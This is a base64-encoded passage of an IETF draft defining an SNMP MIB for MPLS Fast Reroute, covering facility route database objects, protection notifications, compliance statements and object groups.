ICAgICAgIjEuIFJTVlAtVEU6IEV4dGVuc2lvbnMgdG8gUlNWUCBmb3IgTFNQIFR1bm5lbHMsDQog
ICAgICAgICAgIEF3ZHVjaGUgZXQgYWwsIFJGQyAzMjA5LCBEZWNlbWJlciAyMDAxDQogICAgICAg
ICAgMi4gQ29uc3RyYWludC1CYXNlZCBMU1AgU2V0dXAgdXNpbmcgTERQLCBKYW1vdXNzaQ0KICAg
ICAgICAgICAoRWRpdG9yKSwgUkZDIDMyMTIsIEphbnVhcnkgMjAwMiINCiAgICAgICA6Oj0geyBt
cGxzRnJyRmFjUm91dGVEQkVudHJ5IDUgfQ0KDQogICAgbXBsc0ZyckZhY1JvdXRlQmt1cFR1bkVn
ckxTUklkICBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc0xzcklkZW50aWZp
ZXINCiAgICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAg
ICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlxdWVseSBpZGVu
dGlmaWVzIGFuIG1wbHNUdW5uZWxFbnRyeSB0aGF0IGlzDQogICAgICAgICAgYmVpbmcgcHJvdGVj
dGVkIGJ5IEZSUi4iDQogICAgICAgOjo9IHsgbXBsc0ZyckZhY1JvdXRlREJFbnRyeSA2IH0NCg0K
ICAgIG1wbHNGcnJGYWNSb3V0ZURCTnVtUHJvdFR1bk9uSWYgT0JKRUNULVRZUEUNCiAgICAgICAg
U1lOVEFYICAgICAgICAgICAgR2F1Z2UzMg0KICAgICAgICBNQVgtQUNDRVNTICAgICAgICByZWFk
LW9ubHkNCiAgICAgICAgU1RBVFVTICAgICAgICAgICAgY3VycmVudA0KICAgICAgICBERVNDUklQ
VElPTg0KICAgICAgICAgICAgIlRoZSBudW1iZXIgb2YgYmFja3VwIHR1bm5lbHMgcHJvdGVjdGlu
ZyB0aGUgc3BlY2lmaWVkDQogICAgICAgICAgICBpbnRlcmZhY2UuIg0KICAgICAgIDo6PSB7IG1w
bHNGcnJGYWNSb3V0ZURCRW50cnkgNyB9DQoNCiAgICBtcGxzRnJyRmFjUm91dGVEQk51bVByb3RU
dW4gT0JKRUNULVRZUEUNCiAgICAgICAgU1lOVEFYICAgICAgICAgICAgR2F1Z2UzMg0KICAgICAg
ICBNQVgtQUNDRVNTICAgICAgICByZWFkLW9ubHkNCiAgICAgICAgU1RBVFVTICAgICAgICAgICAg
Y3VycmVudA0KICAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgICAgIlRoZSBudW1iZXIgb2Yg
dHVubmVscyBwcm90ZWN0ZWQgb24gdGhpcyBpbnRlcmZhY2UuIg0KICAgIDo6PSB7IG1wbHNGcnJG
YWNSb3V0ZURCRW50cnkgOCB9DQoNCiAgICBtcGxzRnJyRmFjUm91dGVEQlByb3RUdW5TdGF0dXMg
T0JKRUNULVRZUEUNCiAgICAgICAgU1lOVEFYICAgICAgICAgICAgSU5URUdFUiB7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBhY3RpdmUoMSksDQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICByZWFkeSgyKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhcnRpYWwo
MykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICBNQVgtQUNDRVNTICAgICAg
ICByZWFkLW9ubHkNCiAgICAgICAgU1RBVFVTICAgICAgICAgICAgY3VycmVudA0KICAgICAgICBE
RVNDUklQVElPTg0KICAgICAgICAgICAgIlNwZWNpZmllcyB0aGUgc3RhdGUgb2YgdGhlIHByb3Rl
Y3RlZCB0dW5uZWwuDQoNCiAgICAgICAgICAgICBhY3RpdmUgIFRoaXMgdHVubmVsJ3MgbGFiZWwg
aGFzIGJlZW4gcGxhY2VkIGluIHRoZQ0KICAgICAgICAgICAgICAgICAgICAgIExGSUIgYW5kIGlz
IHJlYWR5IHRvIGJlIGFwcGxpZWQgdG8gaW5jb21pbmcNCiAgICAgICAgICAgICAgICAgICAgICBw
YWNrZXRzLg0KDQogICAgICAgICAgICAgcmVhZHkgLSAgVGhpcyB0dW5uZWwncyBsYWJlbCBlbnRy
eSBoYXMgYmVlbiBjcmVhdGVkIGJ1dCBpcw0KICAgICAgICAgICAgICAgICAgICAgIG5vdCB5ZXQg
aW4gdGhlIExGSUIuDQoNCiAgICAgICAgICAgICBwYXJ0aWFsIC0gVGhpcyB0dW5uZWwncyBsYWJl
bCBlbnRyeSBhcyBub3QgYmVlbiBmdWxseQ0KICAgICAgICAgICAgICAgICAgICAgICBjcmVhdGVk
LiINCiAgICA6Oj0geyBtcGxzRnJyRmFjUm91dGVEQkVudHJ5IDkgfQ0KDQogICAgbXBsc0ZyckZh
Y1JvdXRlREJQcm90VHVuUmVzdkJ3ICBPQkpFQ1QtVFlQRQ0KICAgICAgICBTWU5UQVggICAgICAg
ICAgICBVbnNpZ25lZDMyDQogICAgICAgIE1BWC1BQ0NFU1MgICAgICAgIHJlYWQtb25seQ0KICAg
ICAgICBTVEFUVVMgICAgICAgICAgICBjdXJyZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAg
ICAgICAgICAiU3BlY2lmaWVzIHRoZSBhbW91bnQgb2YgYmFuZHdpZHRoIGluIG1lZ2FieXRlcyBw
ZXIgc2Vjb25kDQogICAgICAgICAgICAgdGhhdCBpcyBhY3R1YWxseSByZXNlcnZlZCBieSB0aGUg
cHJvdGVjdGlvbiB0dW5uZWwgZm9yDQogICAgICAgICAgICAgZmFjaWxpdHkgYmFja3VwLiBUaGlz
IHZhbHVlIGlzIHJlcGVhdGVkIGhlcmUgZnJvbSB0aGUgTVBMUy0NCiAgICAgICAgICAgICBURSBN
SUIgYmVjYXVzZSB0aGUgdHVubmVsIGVudHJ5IHdpbGwgcmV2ZWFsIHRoZSBiYW5kd2lkdGgNCiAg
ICAgICAgICAgICByZXNlcnZlZCBieSB0aGUgc2lnbmFsaW5nIHByb3RvY29sLCB3aGljaCBpcyB0
eXBpY2FsbHkgMA0KICAgICAgICAgICAgIGZvciBiYWNrdXAgdHVubmVscyBzbyBhcyB0byBub3Qg
b3Zlci1ib29rIGJhbmR3aWR0aC4NCiAgICAgICAgICAgICBIb3dldmVyLCBpbnRlcm5hbCByZXNl
cnZhdGlvbnMgYXJlIHR5cGljYWxseSBtYWRlIG9uIHRoZQ0KICAgICAgICAgICAgIFBMUiwgdGh1
cyB0aGlzIHZhbHVlIHNob3VsZCBiZSByZXZlYWxlZCBoZXJlLiINCiAgICAgOjo9IHsgbXBsc0Zy
ckZhY1JvdXRlREJFbnRyeSAxMCB9DQoNCiAgICAtLSBOb3RpZmljYXRpb25zDQoNCiAgICAtLSBF
ZCBOb3RlOiBDdXJyZW50bHkgdGhlc2Ugbm90aWZpY2F0aW9ucyBvbmx5IGFwcGx5IHRvDQogICAg
LS0gICAgICAgICAgRmFjaWxpdHktYmFzZWQgRlJSLiBEbyB3ZSBuZWVkIHRvIGRlZmluZQ0KICAg
IC0tICAgICAgICAgIGFkZGl0aW9uYWwgbm90aWZpY2F0aW9ucyBmb3IgT25lMk9uZT8NCg0KICAg
IG1wbHNGcnJQcm90ZWN0ZWQgTk9USUZJQ0FUSU9OLVRZUEUNCiAgICAgICAgT0JKRUNUUyB7IG1w
bHNGcnJGYWNSb3V0ZURCTnVtUHJvdFR1bk9uSWYsDQogICAgICAgICAgICAgICAgICBtcGxzRnJy
RmFjUm91dGVEQk51bVByb3RUdW4sDQogICAgICAgICAgICAgICAgICBtcGxzRnJyRmFjUm91dGVE
QlByb3RUdW5TdGF0dXMsDQogICAgICAgICAgICAgICAgICBtcGxzRnJyRmFjUm91dGVEQlByb3RU
dW5SZXN2QncNCiAgICAgICAgICAgICAgICB9DQogICAgU1RBVFVTICAgICAgY3VycmVudA0KICAg
IERFU0NSSVBUSU9ODQogICAgICAgICJUaGlzIG5vdGlmaWNhdGlvbiBpcyBnZW5lcmF0ZWQgd2hl
biBhIHR1bm5lbCBydW5uaW5nIG92ZXIgYW4NCiAgICAgICAgIGludGVyZmFjZSBhcyBzcGVjaWZp
ZWQgaW4gdGhlIG1wbHNGcnJDb25zdFRhYmxlIGlzIGluaXRpYWxseQ0KICAgICAgICAgcHJvdGVj
dGVkIGJ5IHRoZSBiYWNrdXAgdHVubmVsIGFsc28gc3BlY2lmaWVkIGluIHRoZQ0KICAgICAgICAg
bXBsc0ZyckNvbnN0VGFibGUuIFRoaXMgbm90aWZpY2F0aW9uIHNob3VsZCBub3QgYmUgZ2VuZXJh
dGVkDQogICAgICAgICBmb3IgZWFjaCBzdWJzZXF1ZW50IHR1bm5lbCB0aGF0IGlzIGJhY2tlZCB1
cCBieSB0aGUgRlJSIGZlYXR1cmUNCiAgICAgICAgIG9uIHRoaXMgTFNSLCBhcyB0aGlzIG1heSBy
ZXN1bHQgaW4gcG90ZW50aWFsIHNjYWxpbmcgaXNzdWVzDQogICAgICAgICB3aXRoIHJlZ2FyZCB0
byBMU1IgcGVyZm9ybWFuY2UgYW5kIG5ldHdvcmsgbG9hZGluZy4gTm90ZSBhbHNvDQogICAgICAg
ICB0aGF0IG5vdGlmaWNhdGlvbnMgTVVTVCBiZSBnZW5lcmF0ZWQgaW4gYWNjb3JkYW5jZSB3aXRo
IHRoZQ0KICAgICAgICAgbXBsc0Zyck5vdGlmTWF4UmF0ZS4iDQogICAgICAgIDo6PSB7IG1wbHNG
cnJOb3RpZiAxIH0NCg0KICAgIG1wbHNGcnJVblByb3RlY3RlZCBOT1RJRklDQVRJT04tVFlQRQ0K
ICAgICAgICBPQkpFQ1RTIHsgbXBsc0ZyckZhY1JvdXRlREJOdW1Qcm90VHVuT25JZiwNCiAgICAg
ICAgICAgICAgICAgIG1wbHNGcnJGYWNSb3V0ZURCTnVtUHJvdFR1biwNCiAgICAgICAgICAgICAg
ICAgIG1wbHNGcnJGYWNSb3V0ZURCUHJvdFR1blN0YXR1cywNCiAgICAgICAgICAgICAgICAgIG1w
bHNGcnJGYWNSb3V0ZURCUHJvdFR1blJlc3ZCdw0KICAgICAgICAgICAgICAgIH0NCiAgICBTVEFU
VVMgICAgICBjdXJyZW50DQogICAgREVTQ1JJUFRJT04NCiAgICAgICAgIlRoaXMgbm90aWZpY2F0
aW9uIGlzIGdlbmVyYXRlZCB3aGVuIHRoZSBmaW5hbCB0dW5uZWwgdGhhdCBpcw0KICAgICAgICAg
YmVpbmcgcHJvdGVjdGVkIGJ5IGEgYmFja3VwIHR1bm5lbCBhcyBzcGVjaWZpZWQgaW4gdGhlDQog
ICAgICAgICBtcGxzRnJyQ29uc3RUYWJsZSBpcyByZXN0b3JlZCB0byBub3JtYWwgb3BlcmF0aW9u
LiBUaGlzDQogICAgICAgICBub3RpZmljYXRpb24gc2hvdWxkIG5vdCBiZSBnZW5lcmF0ZWQgZm9y
IGVhY2ggcmVzdG9yZWQgdHVubmVsLA0KICAgICAgICAgYXMgdGhpcyBtYXkgcmVzdWx0IGluIHBv
dGVudGlhbCBzY2FsaW5nIGlzc3VlcyB3aXRoIHJlZ2FyZCB0bw0KICAgICAgICAgTFNSIHBlcmZv
cm1hbmNlIGFuZCBuZXR3b3JrIGxvYWRpbmcuIE5vdGUgYWxzbyB0aGF0DQogICAgICAgICBub3Rp
ZmljYXRpb25zIE1VU1QgYmUgZ2VuZXJhdGVkIGluIGFjY29yZGFuY2Ugd2l0aCB0aGUNCiAgICAg
ICAgIG1wbHNGcnJOb3RpZk1heFJhdGUuIg0KICAgICAgICA6Oj0geyBtcGxzRnJyTm90aWYgMiB9
DQoNCg0KICAgIC0tIE1vZHVsZSBDb25mb3JtYW5jZSBTdGF0ZW1lbnQNCg0KICAgIG1wbHNGcnJH
cm91cHMNCiAgICAgICBPQkpFQ1QgSURFTlRJRklFUiA6Oj0ge21wbHNGcnJDb25mb3JtYW5jZSAx
IH0NCg0KICAgIG1wbHNGcnJDb21wbGlhbmNlcw0KICAgICAgIE9CSkVDVCBJREVOVElGSUVSIDo6
PSB7bXBsc0ZyckNvbmZvcm1hbmNlIDIgfQ0KDQogICAgbXBsc0Zyck1vZHVsZUNvbXBsaWFuY2Ug
TU9EVUxFLUNPTVBMSUFOQ0UNCiAgICAgICBTVEFUVVMgY3VycmVudA0KICAgICAgIERFU0NSSVBU
SU9ODQogICAgICAgICAiQ29tcGxpYW5jZSBzdGF0ZW1lbnRzIGZvciBhZ2VudHMgdGhhdCBzdXBw
b3J0IHRoZSBNUExTIEZSUg0KICAgICAgICAgTUlCLiINCiAgICAgICBNT0RVTEUNCiAgICAgICAg
ICAgTUFOREFUT1JZLUdST1VQUyB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1wbHNG
cnJTY2FsYXJHcm91cCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXBsc0ZyckNvbnN0
R3JvdXAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1wbHNGcnJMb2dHcm91cA0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgIEdST1VQIG1wbHNGcnJUdW5BUkhv
cEdyb3VwDQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICAgIk9iamVjdHMgdGhhdCBhcmUg
cmVxdWlyZWQgdG8gcHJlc2VudCBwZXIgaG9wDQogICAgICAgICAgICBmYXN0LXJlcm91dGUgcHJv
dGVjdGlvbiBzdGF0dXMuIg0KDQogICAgICAgR1JPVVAgbXBsc0Zyck9uZTJPbmVQTFJEZXRvdXJH
cm91cA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICJUaGlzIGdyb3VwIGlzIG1hbmRh
dG9yeSBmb3IgZGV2aWNlcyB3aGljaCBzdXBwb3J0DQogICAgICAgICAgICB0aGUgb25lLXRvLW9u
ZSBGUlIgbWVjaGFuaXNtLCBhbmQgaXMgb3B0aW9uYWwgZm9yDQogICAgICAgICAgICB0aG9zZSB3
aGljaCBkbyBub3QuIg0KDQogICAgICAgR1JPVVAgbXBsc0Zyck9uZTJPbmVQbHJHcm91cA0KICAg
ICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICJUaGlzIGdyb3VwIGlzIG1hbmRhdG9yeSBmb3Ig
ZGV2aWNlcyB3aGljaCBzdXBwb3J0DQogICAgICAgICAgICB0aGUgb25lLXRvLW9uZSBGUlIgbWVj
aGFuaXNtLCBhbmQgaXMgb3B0aW9uYWwgZm9yDQogICAgICAgICAgICB0aG9zZSB3aGljaCBkbyBu
b3QuIg0KDQogICAgICAgR1JPVVAgbXBsc0ZyckZhY1JvdXRlREJHcm91cA0KICAgICAgIERFU0NS
SVBUSU9ODQogICAgICAgICAgICJUaGlzIGdyb3VwIGlzIG1hbmRhdG9yeSBmb3IgZGV2aWNlcyB3
aGljaCBzdXBwb3J0DQogICAgICAgICAgICB0aGUgRmFjaWxpdHkgQmFja3VwIEZSUiBtZWNoYW5p
c20sIGFuZCBpcyBvcHRpb25hbA0KICAgICAgICAgICAgZm9yIHRob3NlIHdoaWNoIGRvIG5vdC4i
DQoNCiAgICAgICBHUk9VUCBtcGxzRnJyTm90aWZHcm91cA0KICAgICAgIERFU0NSSVBUSU9ODQog
ICAgICAgICAgICJUaGlzIGdyb3VwIGlzIG1hbmRhdG9yeSBmb3IgZGV2aWNlcyB3aGljaCBzdXBw
b3J0DQogICAgICAgICAgICB0aGUgRmFjaWxpdHkgQmFja3VwIEZSUiBtZWNoYW5pc20sIGFuZCBp
cyBvcHRpb25hbA0KICAgICAgICAgICAgZm9yIHRob3NlIHdoaWNoIGRvIG5vdC4iDQoNCiAgICAg
ICAtLSBtcGxzRnJyQ29uc3RUYWJsZQ0KDQogICAgICAgT0JKRUNUICAgICAgICBtcGxzRnJyQ29u
c3RQcm90ZWN0aW9uTWV0aG9kDQogICAgICAgTUlOLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAg
ICBERVNDUklQVElPTg0KICAgICAgICAgIldyaXRlIGFjY2VzcyBpcyBub3QgcmVxdWlyZWQuIg0K
DQogICAgICAgT0JKRUNUICAgICAgICBtcGxzRnJyQ29uc3RQcm90ZWN0aW9uVHlwZQ0KICAgICAg
IE1JTi1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJX
cml0ZSBhY2Nlc3MgaXMgbm90IHJlcXVpcmVkLiINCg0KICAgICAgIE9CSkVDVCAgICAgICAgbXBs
c0ZyckNvbnN0U2V0dXBQcmlvDQogICAgICAgTUlOLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAg
ICBERVNDUklQVElPTg0KICAgICAgICAgIldyaXRlIGFjY2VzcyBpcyBub3QgcmVxdWlyZWQuIg0K
DQogICAgICAgT0JKRUNUICAgICAgICBtcGxzRnJyQ29uc3RIb2xkaW5nUHJpbw0KICAgICAgIE1J
Ti1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJXcml0
ZSBhY2Nlc3MgaXMgbm90IHJlcXVpcmVkLiINCg0KICAgICAgIE9CSkVDVCAgICAgICAgbXBsc0Zy
ckNvbnN0SW5jbEFueUFmZmluaXR5DQogICAgICAgTUlOLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAg
ICAgICBERVNDUklQVElPTg0KICAgICAgICAgIldyaXRlIGFjY2VzcyBpcyBub3QgcmVxdWlyZWQu
Ig0KDQogICAgICAgT0JKRUNUICAgICAgICBtcGxzRnJyQ29uc3RJbmNsQWxsQWZmaW5pdHkNCiAg
ICAgICBNSU4tQUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAg
ICAiV3JpdGUgYWNjZXNzIGlzIG5vdCByZXF1aXJlZC4iDQoNCiAgICAgICBPQkpFQ1QgICAgICAg
IG1wbHNGcnJDb25zdEV4Y2xBbGxBZmZpbml0eQ0KICAgICAgIE1JTi1BQ0NFU1MgICAgcmVhZC1v
bmx5DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJXcml0ZSBhY2Nlc3MgaXMgbm90IHJl
cXVpcmVkLiINCg0KICAgICAgIE9CSkVDVCAgICAgICAgbXBsc0ZyckNvbnN0SG9wTGltaXQNCiAg
ICAgICBNSU4tQUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAg
ICAiV3JpdGUgYWNjZXNzIGlzIG5vdCByZXF1aXJlZC4iDQoNCiAgICAgICBPQkpFQ1QgICAgICAg
IG1wbHNGcnJDb25zdEJhbmR3aWR0aA0KICAgICAgIE1JTi1BQ0NFU1MgICAgcmVhZC1vbmx5DQog
ICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJXcml0ZSBhY2Nlc3MgaXMgbm90IHJlcXVpcmVk
LiINCg0KICAgICAgIE9CSkVDVCAgICAgICAgbXBsc0ZyckNvbnN0Um93U3RhdHVzDQogICAgICAg
TUlOLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIldy
aXRlIGFjY2VzcyBpcyBub3QgcmVxdWlyZWQuIg0KDQogICAgICAgOjo9IHsgbXBsc0ZyckNvbXBs
aWFuY2VzIDEgfQ0KDQogICAgLS0gVW5pdHMgb2YgY29uZm9ybWFuY2UNCg0KICAgIG1wbHNGcnJT
Y2FsYXJHcm91cCBPQkpFQ1QtR1JPVVANCiAgICAgICBPQkpFQ1RTIHsNCiAgICAgICAgICAgICAg
ICBtcGxzRnJyRGV0b3VySW5jb21pbmcsDQogICAgICAgICAgICAgICAgbXBsc0ZyckRldG91ck91
dGdvaW5nLA0KICAgICAgICAgICAgICAgIG1wbHNGcnJEZXRvdXJPcmlnaW5hdGluZywNCiAgICAg
ICAgICAgICAgICBtcGxzRnJyU3dpdGNob3ZlciwNCiAgICAgICAgICAgICAgICBtcGxzRnJyQ29u
ZklmcywNCiAgICAgICAgICAgICAgICBtcGxzRnJyQWN0UHJvdGVjdGVkSWZzLA0KICAgICAgICAg
ICAgICAgIG1wbHNGcnJDb25mUHJvdGVjdGVkVHVucywNCiAgICAgICAgICAgICAgICBtcGxzRnJy
QWN0UHJvdGVjdGVkVHVucywNCiAgICAgICAgICAgICAgICBtcGxzRnJyQWN0aXZlbHlQcm90ZWN0
ZWRMU1BzLA0KICAgICAgICAgICAgICAgIG1wbHNGcnJDb25zdFByb3RlY3Rpb25NZXRob2QsDQog
ICAgICAgICAgICAgICAgbXBsc0Zyck5vdGlmc0VuYWJsZWQsDQogICAgICAgICAgICAgICAgbXBs
c0ZyckxvZ1RhYmxlTWF4RW50cmllcywNCiAgICAgICAgICAgICAgICBtcGxzRnJyTG9nVGFibGVD
dXJyRW50cmllcywNCiAgICAgICAgICAgICAgICBtcGxzRnJyTm90aWZNYXhSYXRlDQogICAgICAg
ICAgICAgICB9DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJ
T04NCiAgICAgICAgICJPYmplY3RzIHRoYXQgYXJlIHJlcXVpcmVkIHRvIGdhdGhlciBmYXN0IHJl
cm91dGUgc3RhdGlzdGljcy4iDQogICAgICAgOjo9IHsgbXBsc0Zyckdyb3VwcyAxIH0NCg0KICAg
IG1wbHNGcnJDb25zdEdyb3VwIE9CSkVDVC1HUk9VUA0KICAgICAgIE9CSkVDVFMgew0KICAgICAg
ICAgIG1wbHNGcnJDb25zdFByb3RlY3Rpb25NZXRob2QsDQogICAgICAgICAgbXBsc0ZyckNvbnN0
UHJvdGVjdGlvblR5cGUsDQogICAgICAgICAgbXBsc0ZyckNvbnN0U2V0dXBQcmlvLA0KICAgICAg
ICAgIG1wbHNGcnJDb25zdEhvbGRpbmdQcmlvLA0KICAgICAgICAgIG1wbHNGcnJDb25zdEluY2xB
bnlBZmZpbml0eSwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RJbmNsQWxsQWZmaW5pdHksDQogICAg
ICAgICAgbXBsc0ZyckNvbnN0RXhjbEFsbEFmZmluaXR5LA0KICAgICAgICAgIG1wbHNGcnJDb25z
dEhvcExpbWl0LA0KICAgICAgICAgIG1wbHNGcnJDb25zdEJhbmR3aWR0aCwNCiAgICAgICAgICBt
cGxzRnJyQ29uc3RSb3dTdGF0dXMNCiAgICAgICB9DQogICAgICAgU1RBVFVTICAgICAgICBjdXJy
ZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJPYmplY3RzIHRoYXQgYXJlIHJlcXVp
cmVkIHRvIGNvbmZpZ3VyZSBmYXN0IHJlcm91dGUgY29uc3RyYWludHMNCiAgICAgICAgIGF0IHRo
ZSBpbmdyZXNzIExTUiBvZiB0aGUgdHVubmVsIHRoYXQgcmVxdWlyZXMgZmFzdCByZXJvdXRlDQog
ICAgICAgICBzZXJ2aWNlLiINCiAgICAgICA6Oj0geyBtcGxzRnJyR3JvdXBzIDIgfQ0KDQogICAg
bXBsc0ZyclR1bkFSSG9wR3JvdXAgICAgICAgICBPQkpFQ1QtR1JPVVANCiAgICAgT0JKRUNUUyB7
DQogICAgICAgICAgICAgIG1wbHNGcnJUdW5BUkhvcFByb3RlY3RBdmFpbGFibGUsDQogICAgICAg
ICAgICAgIG1wbHNGcnJUdW5BUkhvcFByb3RlY3RJblVzZSwNCiAgICAgICAgICAgICAgbXBsc0Zy
clR1bkFSSG9wQmFuZHdpZHRoUHJvdGVjdCwNCiAgICAgICAgICAgICAgbXBsc0ZyclR1bkFSSG9w
Tm9kZVByb3RlY3QNCiAgICAgICAgICAgICB9DQogICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0K
ICAgICBERVNDUklQVElPTg0KICAgICAgICAgIk9iamVjdHMgdGhhdCBhcmUgcmVxdWlyZWQgdG8g
cHJlc2VudCBwZXIgaG9wIGZhc3QtcmVyb3V0ZQ0KICAgICAgICAgIHByb3RlY3Rpb24gc3RhdHVz
LiINCiAgICA6Oj0geyBtcGxzRnJyR3JvdXBzIDN9DQoNCiAgICBtcGxzRnJyT25lMk9uZVBMUkRl
dG91ckdyb3VwIE9CSkVDVC1HUk9VUA0KICAgICBPQkpFQ1RTIHsNCiAgICAgICAgICAgICAgbXBs
c0ZyckRldG91ckFjdGl2ZSwNCiAgICAgICAgICAgICAgbXBsc0ZyckRldG91ck1lcmdpbmcsDQog
ICAgICAgICAgICAgIG1wbHNGcnJEZXRvdXJNZXJnZWREZXRvdXJJbnN0DQogICAgICAgICAgICAg
fQ0KICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgREVTQ1JJUFRJT04NCiAgICAgICAg
ICJPYmplY3RzIHRoYXQgYXJlIHJlcXVpcmVkIHRvIHByZXNlbnQgdGhlIGRldG91ciBMU1AgaW5m
b3JtYXRpb24NCiAgICAgICAgIGF0IHRoZSBkZXRvdXIgaW5ncmVzcywgdHJhbnNpdCBhbmQgZWdy
ZXNzIExTUnMuIg0KICAgICA6Oj0geyBtcGxzRnJyR3JvdXBzIDQgfQ0KDQogICAgbXBsc0Zyckxv
Z0dyb3VwIE9CSkVDVC1HUk9VUA0KICAgIE9CSkVDVFMgeyBtcGxzRnJyTG9nRXZlbnRUaW1lLA0K
ICAgICAgICAgICAgICBtcGxzRnJyTG9nSW50ZXJmYWNlLA0KICAgICAgICAgICAgICBtcGxzRnJy
TG9nRXZlbnRUeXBlLA0KICAgICAgICAgICAgICBtcGxzRnJyTG9nRXZlbnREdXJhdGlvbiwNCiAg
ICAgICAgICAgICAgbXBsc0ZyckxvZ0V2ZW50UmVhc29uU3RyaW5nDQogICAgICAgICAgICB9DQog
ICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgREVTQ1JJUFRJT04NCiAgICAgICAiT2JqZWN0
cyB0aGF0IGFyZSByZXF1aXJlZCB0byByZXByZXNlbnQgRlJSIGxvZ2dpbmcgaW5mb3JtYXRpb24N
CiAgICAgICBhdCB0aGUgZGV0b3VyIGluZ3Jlc3MsIHRyYW5zaXQgYW5kIGVncmVzcyBMU1JzLiIN
CiAgICA6Oj0geyBtcGxzRnJyR3JvdXBzIDUgfQ0KDQogICAgbXBsc0Zyck9uZTJPbmVQbHJHcm91
cCBPQkpFQ1QtR1JPVVANCiAgICAgIE9CSkVDVFMgew0KICAgICAgICAgIG1wbHNGcnJPbmUyT25l
UGxyU2VuZGVyQWRkclR5cGUsDQogICAgICAgICAgbXBsc0Zyck9uZTJPbmVQbHJTZW5kZXJBZGRy
LA0KICAgICAgICAgIG1wbHNGcnJPbmUyT25lUGxyQXZvaWROQWRkclR5cGUsDQogICAgICAgICAg
bXBsc0Zyck9uZTJPbmVQbHJBdm9pZE5BZGRyDQogICAgICAgICB9DQogICAgU1RBVFVTICAgICAg
ICBjdXJyZW50DQogICAgREVTQ1JJUFRJT04NCiAgICAgICAiT2JqZWN0cyB0aGF0IGFyZSByZXF1
aXJlZCB0byByZXByZXNlbnQgdGhlIEZSUg0KICAgICAgICBPbmUtMi1PbmUgUExSIGluZm9ybWF0
aW9uLiINCiAgICA6Oj0geyBtcGxzRnJyR3JvdXBzIDYgfQ0KDQogICAgbXBsc0ZyckZhY1JvdXRl
REJHcm91cCBPQkpFQ1QtR1JPVVANCiAgICAgIE9CSkVDVFMgeyBtcGxzRnJyRmFjUm91dGVEQk51
bVByb3RUdW5PbklmLA0KICAgICAgICAgICAgICAgIG1wbHNGcnJGYWNSb3V0ZURCTnVtUHJvdFR1
biwNCiAgICAgICAgICAgICAgICBtcGxzRnJyRmFjUm91dGVEQlByb3RUdW5TdGF0dXMsDQogICAg
ICAgICAgICAgICAgbXBsc0ZyckZhY1JvdXRlREJQcm90VHVuUmVzdkJ3DQogICAgICAgIH0NCiAg
ICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICBERVNDUklQVElPTg0KICAgICAgICJPYmplY3Rz
IHRoYXQgYXJlIHJlcXVpcmVkIHRvIHJlcHJlc2VudCB0aGUgRlJSDQogICAgICAgIEZhY2lsaXR5
IFJvdXRlIERhdGFiYXNlIGluZm9ybWF0aW9uLiINCiAgICA6Oj0geyBtcGxzRnJyR3JvdXBzIDcg
fQ0KDQogICAgbXBsc0Zyck5vdGlmR3JvdXAgTk9USUZJQ0FUSU9OLUdST1VQDQogICAgTk9USUZJ
Q0FUSU9OUyB7DQogICAgICAgICAgICAgICAgICAgIG1wbHNGcnJQcm90ZWN0ZWQsDQogICAgICAg
ICAgICAgICAgICAgIG1wbHNGcnJVblByb3RlY3RlZA0KICAgICAgICAgICAgICAgICAgfQ0KICAg
IFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiT2JqZWN0
cyB0aGF0IGFyZSByZXF1aXJlZCB0byByZXByZXNlbnQgRlJSIG5vdGlmaWNhdGlvbnMuIg0KICAg
IDo6PSB7IG1wbHNGcnJHcm91cHMgOCB9DQoNCiAgICBFTkQNCg0KDQo3LiBTZWN1cml0eSBDb25z
aWRlcmF0aW9ucw0KDQogICAgVGhpcyBNSUIgZG9lcyBub3QgcG9zZSBhbnkgYWRkaXRpb25hbCBz
ZWN1cml0eSBpc3N1ZXMgY29tcGFyZWQgd2l0aA0KICAgIFszXSBhbmQgWzRdLg0KDQo4LiBSZWZl
cmVuY2VzDQoNCiAgICBbMV1CcmFkbmVyLCBTLiwgIlRoZSBJbnRlcm5ldCBTdGFuZGFyZHMgUHJv
